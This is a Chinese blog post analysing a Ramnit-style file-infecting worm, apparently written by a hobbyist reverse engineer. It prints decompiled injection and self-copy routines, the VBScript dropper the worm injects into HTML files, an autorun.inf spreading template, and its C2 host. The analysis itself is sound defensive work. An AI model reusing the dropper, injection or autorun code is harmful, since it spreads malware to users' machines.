毕业季学校打印店留给我的礼物,真令人感动(才怪)…
gmrnHTLb Analyze
如果只是想要了解病毒本身的行为的话,可以直接看后面的分析报告。
分析思路
IE注入
其实这个文件和之前分析过的另一个脚本病毒扔一块儿了(那个我好像没写,叫做WindowsService
的病毒),我就想着干脆先扔到PEiD里面看一下,果然发现里面有、、东西,是一个UPX的壳,于是二话不说直接脱掉。打开之后发现,又又又又是日常混乱代码段:
嗯莫名其妙???突然调用这些函数??简单的调试了一下,发现大部分的程序似乎都没有正常执行。初步猜测可能是用于混淆的代码。然后看到一段神奇的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 .code:00408A1D loc_408A1D: ; CODE XREF: sub_40724D+17D4↓j .code:00408A1D inc ecx .code:00408A1E dec eax .code:00408A1F .code:00408A1F loc_408A1F: ; CODE XREF: sub_40724D:loc_408A1B↑j .code:00408A1F or eax, eax .code:00408A21 jnz short loc_408A1D .code:00408A23 push dword ptr fs:[ecx] .code:00408A26 pop eax ; 拿到上一个错误代码 .code:00408A27 cmp eax, 57h ; 用于反调试 .code:00408A2A jz short loc_408A2E .code:00408A2C pop eax .code:00408A2D retn
这段进入的时候,eax值为0x34,也就是当程序运行到push dword ptr fs:[ecx]
的时候,ecx已经被eax赋值成功,此时会取出fs:[0x34]的值。上网查看后发现,这个位置相当于是GetLastError
函数,记录了当前的错误代码。猜测此处是一个反调试的地方(但是我看了很久,也没发现它怎么反调试了。。。因为我挂着调试器却顺利的执行到了正确逻辑上)
之后走过长长的初始化逻辑(?),来到这边
1 2 3 4 5 6 7 8 9 10 11 12 .data:004113A0 loc_4113A0: ; CODE XREF: .data:loc_4113B1↓j .data:004113A0 mov al, [esi] ; 这里再填充section刚开头的那部分内容。。。不知道再做啥 .data:004113A2 inc esi .data:004113A3 mov [edi], al .data:004113A5 inc edi ...... .data:00411444 mov eax, [edx] .data:00411446 add edx, 4 .data:00411449 mov [edi], eax .data:0041144B add edi, 4 .data:0041144E sub ecx, 4
这部分就是解密的,大概的过程就是将位于两个不同位置的程序重新插回到原先.code
段的开始(直接把一开始的RVA给覆盖了。。。)然后根据节的大小不停的解密解密。。。这里没有仔细看了,然后在运行到一个接近创建文件的函数处断下,发现整个PE文件的大部分已经被解开了。为了能够把文件扒下来,这里写了一个IDC脚本:
1 2 3 4 5 6 7 8 9 10 auto from = 0x00400000; auto to = 0x00402A00; auto i,x,fp; fp = fopen("path\\to\\virus","wb"); Message("\nbegin....\n"); for(i = from; i < to; i++){ fputc(Byte(i),fp); } Message("Finish!\n");
然而拔下来后发现,文件头居然还是原来的文件头。。。这里的文件头还是错将.upx
段当成了PE头…于是只好直接继续脱壳
脱壳后
然后经过长长的运行逻辑,来到这里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 int __userpurge sub_402B89@<eax>(int *a1@<edi>, int *a2@<esi>, void *a3@<ecx>, LPCSTR lpString){ int v4; void *v5; CHAR *v6; CHAR szVolumePathName; LPCSTR lpString1; char v10; HGLOBAL hMem; int v12; int v13; v13 = 0 ; v12 = 0 ; if ( lpString && GetVolumePathNameA(lpString, &szVolumePathName, 0xA u) && GetDriveTypeA(&szVolumePathName) != 3 ) v12 = 1 ; if ( !v12 ) { v4 = lstrlenA(lpString); v5 = (void *)FindSpString(a1, a2, (int )lpString, v4, (int *)&v10, (int *)&lpString1); if ( v5 ) { hMem = v5; if ( lpString1 && lstrcmpiA(lpString1, (LPCSTR)&dword_403A5C[369 ]) ) v12 = 1 ; GlobalFree(hMem); } } if ( v12 == 1 ) { v6 = sub_4015BF(a3, 0x404016 , (LPCSTR)&dword_403A5C[0x171 ]); if ( v6 ) { hMem = v6; if ( CopyFileA(lpString, v6, 0 ) ) { CreateProc((LPSTR)hMem, 1 ); v13 = 1 ; } GlobalFree(hMem); } } return v13; }
其中传入的lpString
就是当前进程的内容。这里可以看到病毒会检测当前程序是否存在固定磁盘上,如果不是的话将v12置为1。(这点不是很懂,因为调试的时候显然是运行在本地磁盘的,但是v12也为1)。之后会进入这个sub_4015BF的函数,这里选取部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 for ( i = 0 ; i != 7 ; ++i ) { v2 = 0 ; if ( i ) { switch ( i ) { case 1 : v2 = ExpandEnvironmentStringsA("%CommonProgramFiles%" , &Dst, 0x2FC u) - 1 ; break ; case 2 : v2 = ExpandEnvironmentStringsA("%HOMEDRIVE%%HOMEPATH%" , &Dst, 0x2FC u) - 1 ; break ; case 3 : v2 = ExpandEnvironmentStringsA("%APPDATA%" , &Dst, 0x2FC u) - 1 ; break ; case 4 : v2 = GetSystemDirectoryA(&Dst, 0x2FC u); break ; case 5 : v2 = GetWindowsDirectoryA(&Dst, 0x2FC u); break ; case 6 : v2 = GetTempPathA(0x2FC u, &Dst); break ; } } else { v2 = ExpandEnvironmentStringsA("%ProgramFiles%" , &Dst, 0x2FC u) - 1 ;
这里会尝试7中不同的路径,检查自己是否有权限向这些位置写入数据,如果能够成功,则向某一条路径复制程序本身。
当软件自我复制成功后,会尝试进程启动这个程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 BOOL __stdcall CreateProc (int a1, __int16 a2) { HANDLE v2; struct _PROCESS_INFORMATION ProcessInformation ; struct _STARTUPINFOA StartupInfo ; memcpy_0(&StartupInfo, 0x44 u); memcpy_0(&ProcessInformation, 0x10 u); StartupInfo.wShowWindow = a2; StartupInfo.dwFlags = 1 ; CreateProcessA(0 , (LPSTR)a1, 0 , 0 , 0 , 0 , 0 , 0 , &StartupInfo, &ProcessInformation); v2 = ProcessInformation.hProcess; CloseHandle(ProcessInformation.hThread); return CloseHandle(v2); }
然后这个进程就自动退出了。
另一个程序的大体流程也是一致的,只不过在文件复制的环节,如果都复制成功之后,就不会进入简单的启动进程的逻辑,而是进入如下的位置:
程序中使用GetModuleHandle
和LoadLibrary
动态绑定一些会用到的关键函数。然后会进行HOOK
1 2 3 4 5 6 7 8 9 10 int InsertFunction () { dword_40DFA3 = 0 ; dword_40DFA8 = 0 ; dword_40DFAD = 0 ; lpAddress = 0 ; GetTargetProcess(); dword_40DFB7 = Inject((int )"ntdll.dll" , (int )"ZwWriteVirtualMemory" , 4205145 ); return ResumeTargetProcessThread_0(); }
Inject
里面的函数和mhook
这个库提供的功能类似,通过从向ntdll.dll
动态链接库中申请空间,然后将注入代码写入,实现对"ZwWriteVirtualMemory"函数的注入。由于这个函数在CreateProcess中会被调用,因此会在调用进程创建的时候进入hook函数。
之后我们来分析一下hook的内容。开始的位置有如下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 if ( pe ) { lpBuffer = pe; if ( ReadProcessMemory((HANDLE)a1, pe, (DWORD)&MZ_Head, (LPDWORD)0x40 , (LPOVERLAPPED)&v7) ) { if ( MZ_Head == 'ZM' && ReadProcessMemory((HANDLE)a1, (char *)lpBuffer + v6, (DWORD)&PE_Head, (LPDWORD)0xF8 , (LPOVERLAPPED)&v7) && PE_Head == 0x4550 ) { v9 = (char *)lpBuffer + v4; } } }
(文件恢复做的不是很好,这里漏掉了一些内容)这里可以猜测出,应该是病毒自己释放了一个文件,之前存放于自己进程中,然后这里通过读取进程的方式,将当前的数据读出,然后依次检测当前的文件头部是不是"MZ",以及NT头部的内容是否为"PE"来确认进程。最后将NT头部之后的地址返回存储与程序中。
然后程序尝试寻找一个可以释放关键代码的地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 do { begin_addr += 0x10000 ; lpAddress = (LPVOID)(begin_addr + baseaddr); lpBaseAddress = VirtualAlloc_1((LPVOID)(begin_addr + baseaddr), dwSize, 0x3000 u, 0x40 u); if ( lpBaseAddress ) { VirtualFree(lpBaseAddress, 0 , 0x8000 u); lpBaseAddress = VirtualAllocEx(hProcess, lpAddress, dwSize, 0x3000 u, 0x40 u); } } while ( begin_addr < 0x30000000 && !lpBaseAddress );
通过反复尝试进行地址分配和删除,从而确定一个可以使用的地址位置。根据后来的结果来看,最后会被定位到0x20010000
上
之后会尝试的读出当前进程的PE文件头,并且将本来存储与本身的DLL文件写入到进程中的,通过分配空间对其进行构造,并且填写PE头部。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 v6 = checkAndGetSectionHeaders((int )PEFile, size); if ( v6 ) { sectionHeaders = (_DWORD *)v6; File_header = checkHeadBoundary((int )PEFile, size); if ( File_header ) { File_header_1 = File_header; option_header = (_DWORD *)checkAndGetOptionHeader((int )PEFile, size); if ( option_header ) { option_header_2 = option_header; sizeOfImage = (void *)option_header[14 ]; imageAddress = (char *)VirtualAlloc_1(lpAddress, option_header[14 ], 0x2000 u, 1u ); if ( imageAddress ) { mallocAddress = imageAddress; offsetOfRealDLLAddres = &imageAddress[-option_header_2[7 ]]; HeaderAddress = VirtualAlloc_1(imageAddress, option_header_2[15 ], 0x1000 u, 4u ); if ( HeaderAddress ) { HeaderAddress0 = HeaderAddress; memcpy (PEFile, HeaderAddress, option_header_2[15 ], 0 ); VirtualProtect(HeaderAddress0, option_header_2[15 ], 2u , &flOldProtect); numberOfSections = *(unsigned __int16 *)(File_header_1 + 2 ); each_section = sectionHeaders; while ( checkDstBoundaryAndGetFileHeeader((int )PEFile, size, (int )each_section, 0x28 ) ) { VirtualSize = each_section[2 ]; sizeOfRawData = each_section[4 ]; if ( VirtualSize < sizeOfRawData ) { VirtualSize = each_section[4 ]; sizeOfRawData = each_section[2 ]; } size_1 = VirtualSize; BeginOfRealSection = &PEFile[each_section[5 ]]; v26 = mallocAddress_; mallcSection = VirtualAlloc_1((char *)mallocAddress + each_section[3 ], VirtualSize, 0x1000 u, 4u ); if ( !mallcSection ) break ; HeaderAddress0 = mallcSection; memcpy_0(mallcSection, size_1); memcpy (BeginOfRealSection, HeaderAddress0, sizeOfRawData, 0 ); each_section += 10 ; if ( v26 == 1 ) { out_ptr[1 ] = (char *)mallocAddress + option_header_2[4 ]; *out_ptr = mallocAddress; out_ptr[2 ] = sizeOfImage; if ( !relocDLLImportDirectory((int )mallocAddress, (int )sizeOfImage, (int )offsetOfRealDLLAddres) ) return 0 ; if ( a6 != 1 ) return 1 ;
之后就能够将整个的DLL构建完成。之后为了能够执行这部分的内容,病毒还将程序入口逻辑进行了修改:
1 2 3 4 5 6 7 8 9 10 11 12 .text:013AB5E8 start proc near ; DATA XREF: HEADER:01350160↑o .text:013AB5E8 mov edi, 0A0000h .text:013AB5ED push 0B0000h .text:013AB5F2 .text:013AB5F2 loc_13AB5F2: ; CODE XREF: sub_13A98B5+1F↑p .text:013AB5F2 ; sub_13D165D-27B94↑p ... .text:013AB5F2 call edi .text:013AB5F4 in al, dx .text:013AB5F5 push dword ptr [ebp+8] .text:013AB5F8 call sub_13AADAE .text:013AB5FD pop ecx .text:013AB5FE pop ebp
这部分为新建立的进程的逻辑。关键在于,此时的0B0000
中的内容已经变成了:
1 DllEntryPoint dd 20010000h, 20017C79h, 0D000h, 80000h, 90000h
这里的0B0000
已经彻底变成了问题DLL的入口。(由于作者技术有限,这里没有展示0A0000中的代码内容,但是不难想象,应该是一个load函数)
于是这个病毒成功的将自己注入到了一个正常的IE进程中,并且借助IE的外壳进行行动。
具体行为
之前提到过,病毒释放了一段逻辑,我们这里来分析一下主要逻辑在做什么:
程序开始时候创建了一个Mutex互斥锁,之后应该会有多线程的操作。
然后将原先的加密字符串解密,并且初始化Socket;
1 2 3 4 5 6 7 8 9 InitHeap(); WSAiNIT(); InitFileName(); SetErrorMode(0x8003 u); DecodeStr(target_host, 't' , &decodeStr, size); DecodeStr(aTrash, 'n' , &decodeStr, size); DecodeStr(String, 'v' , &decodeStr, size); DecodeStr(aHome_0, 'v' , &decodeStr, size);
检查当前磁盘符号,并且将读出的基本信息拷贝到一个全局变量中。之后将这些信息MD5处理,然并且将这些信息连同当前时间一起写入到文件\Application\dmlconf.dat
中
之后程序会启动多个线程进行操作
线程1
线程打开注册表Software\Microsoft\Windows NT\CurrentVersion\Winlogon
中的Userinit
,之后会将自己的程序地址放入其中,使其能够做到开机自启。
线程2
线程使用之前初始化完成的socket,向网址google.com:80
,bing.com:80
,yahoo.com:80
三个网址发送请求,检测当前的网络情况是否通畅
线程3
每隔一阵子往文件dmlconf.dat
中写入当前的时间
线程4
这个线程会检测一个全局变量,然后会创建两个子线程进行网络通信。
线程A:
负责从fget-career.com:4678
中上传之前提到的各类基本信息,包括时间,本机的基本状态等等
线程B:
从fget-career.com:4678
中下载数据
(功力太差,这段没看懂)
线程5
首先检查注册表中的Software\WASAntidot
,如果其中的值为disable
,那么放弃遍历磁盘。否额的话进行磁盘的遍历。
1 2 3 4 5 6 7 8 9 10 11 12 InitWindowsInfo(); result = GetLogicalDriveStringsA(0x200 u, &Buffer); for ( i = &Buffer; *i; i += result + 1 ){ if ( CalculateFreeSize(i) == 1 ) { v3 = GetDriveTypeA(i); if ( v3 == 3 || v3 == 2 ) Infected(a1, i, i); } result = strlen (i); }
感染磁盘
针对磁盘,其需要避免的遍历的路径为:
1 2 C:\Windows\system32\ C:\Windows\
如果当前磁盘空间大小符合要求(超过80000h)则检查磁盘类型。本地磁盘和移动磁盘都将被感染。之后将遍历所有磁盘下的文件,然后检查文件后缀,如果文件后缀为.exe
或者为.html
的则进行感染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 endStr = (const CHAR *)FindEndStr(lpString); if ( endStr ) { isExe = checkFileEnd((int )endStr, endStr, aExe); if ( isExe == 1 ) { if ( CalculateFreeSize(lpString2) == 1 ) infectedExe(a1, lpString); } else if ( checkFileEnd(isExe, v5, aHtml) == 1 && CalculateFreeSize(lpString2) == 1 ) { infectedHtm(lpString); } }
如果对象是exe
文件的话,首先检查文件中导入表内有没有Loadlibrary
和CreateProcess
函数,有的话则通过解析文件头部,将其中塞入一个.rmnet
的节。然后会将原来的exe运行的入口处修改,放入两个关键逻辑。最后还会重新计算PE文件头的checksum。
其中一个逻辑即为当前逻辑,另一个逻辑内容为:
程序运行过程中,释放全局锁KyUffThOkYwRRtgPP
,期间动态绑定函数,并且创建一个叫做Srv.exe
的文件且运行。
感染html
此时则是通过检查html文件节为中,是否包含关键字符串</SCRIPT>
,如果未包含则将以下代码写入html文件中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <SCRIPT Language=VBScript><!--',0Dh,0Ah DropFileName = "svchost.exe"',0Dh,0Ah WriteData = ""',0Dh,0Ah Set FSO = CreateObject("Scripting.FileSystemObject")' DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName' // 在临时目录下创建文件 svchost.exe If FSO.FileExists(DropPath)=False Then',0Dh,0Ah Set FileObj = FSO.CreateTextFile(DropPath, True)',0Dh,0Ah For i = 1 To Len(WriteData) Step 2',0Dh,0Ah FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))',0Dh,0Ah Next',0Dh,0Ah FileObj.Close',0Dh,0Ah End If',0Dh,0Ah Set WSHshell = CreateObject("WScript.Shell")',0Dh,0Ah WSHshell.Run DropPath, 0',0Dh,0Ah //--></SCRIPT>RmN',0
其中,WriteData内的数据为之前的病毒数据。
感染移动磁盘
前两个行为只是针对所有目录,后面还有一个针对移动磁盘的感染逻辑:
首先检查移动磁盘中的autoinf
文件中末尾是否有RmN
字样的字符,如果没有的话,则进行感染:
首先生成一个类似GUID的值,作为目录
在当前磁盘目录后面添加上RECYCLER
,创建该目录并且设置为hidden
之后再RECYCLER
目录下,添加我们之前添加的目录,并且设为隐藏
生成一个随机字符串并且再之后加上.exe
之后开始对文件进行操作。首先会像那个exe文件中写入首先往autoruninfo
文件写入下列内容:
1 2 3 4 5 6 7 '[autorun]',0Dh,0Ah 'action=Open',0Dh,0Ah 'icon=%%WinDir%%\system32\shell32.dll,4',0Dh,0Ah 'shellexecute=.\%s',0Dh,0Ah 'shell\explore\command=.\%s',0Dh,0Ah 'USEAUTOPLAY=1',0Dh,0Ah 'shell\Open\command=.\%s',0Dh,0Ah,0
%s
中是之前提到的exe的路径
并且会在当前内容的前后放入大量的干扰字符,阻止正常观察结果。
分析报告
样本名称: gmrnHTLb.exe
MD5值: 44E92C4B5F440B756F8FB0C9EEB460B2
SHA256: 876C5CEA11BBBCBE4089A3D0E8F95244CF855D3668E9BF06A97D8E20C1FF237C
格式: Portable executable for 80386 (PE)
传播方式: 感染硬盘中的Exe,html文件,并且会感染U盘,随U盘传播
样本行为:
注入行为
通过查找注册表找到iexplorer.exe
路径并且检查其存在(如果表中的值被更改,则会启动不同的浏览器)
将自身脱壳,然后检查C:\Program Files\Common Files
, C:\Users\username
,C:\Users\username\AppData\Roaming
以及系统根目录(默认为C:\Windows\System32
)Windows 目录(默认为C:\Windows
),默认tmp目录C:\Users\fly\AppData\Local\Temp
以及C:\Program Files
这些目录的写权限,之后往其中一个目录中写入本身的拷贝。
之后将拷贝启动,同时关闭当前进程。最终启动的一个进程会将当前的ZwWriteVirtualMemory
函数进行hook,这个函数的hook会在CreateProcess
中被调用。
被调用的hook函数在程序中会将之前藏在样本中的一个DLL解密释放,之后会将当前的DLL导入到程序高位地址0x200100000
中,完成PE头的拼接并且导入一些外部函数
最后修改iexplorer.exe
的开始位置,让其可以跳转到注入的DLL的位置,完成注入。
恶意行为
程序首先会创建互斥锁(后方多线程用到),然后对一些字符串进行解密,得到几个关键的字符串。同时初始化socket。
检查当前磁盘的盘符,并且将磁盘信息连同本地时间进行MD5处理,写入到Application\dmlconf.dat
中
之后会启动6个线程进行操作
a. 线程1打开注册表Software\Microsoft\Windows NT\CurrentVersion\Winlogon
中的Userinit
,修改其中值实现样本能够开机自启
b. 初始化socket,并且往google.com:80
,bing.com:80
以及yahoo.com:80
三个网站发送请求,检查网络状态
c. 每隔一段时间,向文件dmlconf.dat
中写入当前的时间信息
d. 从网站fget-career.com:4678
中上传本机基本信息
e. 从网站fget-career.com:4678
中下载程序
f. 通过检查注册表,决定是否对文件尽心感染。如果Software\WASAntidot
中的值不为disabled
,则开始进行感染。其中分别感染exe
和html
文件,向其中加入恶意程序片段,实现病毒复制。同时往U盘中写入autorun.inf
,完成通过U盘的传播过程。
后记
最近开始上班了,感觉搞这些的时间很少,每天不小心熬过12点多第二天上班就会犯困QvQ。病毒本身在分析过程中也有很多没有看明白的地方(比如脱壳总是失败就很惨)写道后来发现这个病毒其实网上已经分析了很多次,思来想去还是老老实实按照自己看到的部分把分析的内容写了下来。最近blog搬了个家,现在也是回归正道了,希望以后不要再偷懒了,尽量还是有东西都写上去好了。。
参考内容
https://blog.csdn.net/qq_32400847/article/details/52798050
https://bbs.pediy.com/thread-210140-1.htm